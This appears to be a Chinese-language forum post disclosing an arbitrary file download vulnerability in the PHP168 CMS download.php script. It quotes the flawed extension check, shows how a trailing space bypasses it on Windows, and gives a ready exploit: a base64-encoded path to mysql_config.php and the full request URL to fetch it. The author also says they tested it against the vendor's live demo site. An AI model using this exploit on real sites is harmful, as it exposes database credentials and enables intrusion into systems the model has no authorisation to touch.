今天翻了一下旧的文件,发现很久前的一个分析报告,然后到php168演试站测试了一下,居然漏洞依然存在?
漏洞相关文件HASH
b912249a22b630c04f7ad65f8ba5a2f6   download.php

漏洞描述:
漏洞文件download.php
$url=base64_decode($url);  //27行
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php$",$fileurl) && is_file(PHP168_PATH."$fileurl") ){  //只判断文件后辍是不是php,如果是php,而且存在这个文件,那么就提示出错,但问题就是出现在这里,在win环境下,文件后辍多出一个空格,文件一样显示存在的。就是利用这里,我们可以下载系统任意文件。
        die("ERR");
}

if(!$webdb[DownLoad_readfile]){  //33行,这里也是一个条件,后台设置了不能读取方式下载也是不能成功的。
        $fileurl=strstr($url,"://")?$url:tempdir($fileurl);
        header("location:$fileurl");
        exit;
}

if( is_file(PHP168_PATH."$fileurl") ){
        $filename=basename($fileurl);
        $filetype=substr(strrchr($filename,'.'),1);
        $_filename=preg_replace("/([\d]+)_(200[\d]+)_([^_]+)\.([^\.]+)/is","\\3",$filename);
       
        if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){
                $filename=urldecode(base64_decode($_filename)).".$filetype";
        }
        ob_end_clean();
        header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
        header('Pragma: no-cache');
        header('Content-Encoding: none');
        header('Content-Disposition: attachment; filename='.$filename);
        header('Content-type: '.$filetype);
        header('Content-Length: '.filesize(PHP168_PATH."$fileurl"));
        readfile(PHP168_PATH."$fileurl");
}else{
        $filename=basename($fileurl);
        $filetype=substr(strrchr($filename,'.'),1);
        $fileurl=strstr($url,"://")?$url:tempdir($fileurl);
        ob_end_clean();
        header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
        header('Pragma: no-cache');
        header('Content-Encoding: none');
        header('Content-Disposition: attachment; filename='.$filename);
        header('Content-type: '.$filetype);
        readfile($fileurl);
}



测试方法:
首先,我们把需要下载的文件名改用base64_encode形式。如下:
php168/mysql_config.php  

要注意,文件名后面需要多一个空格。
加密后:
cGhwMTY4L215c3FsX2NvbmZpZy5waHAg

这时提交地址:
http://localhost:8090/php168/do/job.php?job=download&url=cGhwMTY4L215c3FsX2NvbmZpZy5waHAg
(注意,网站目录是http://localhost:8090/php168/)
即可下载其文件:

演试站测试:
http://v6.php168.com/do/job.php? ... 3FsX2NvbmZpZy5waHAg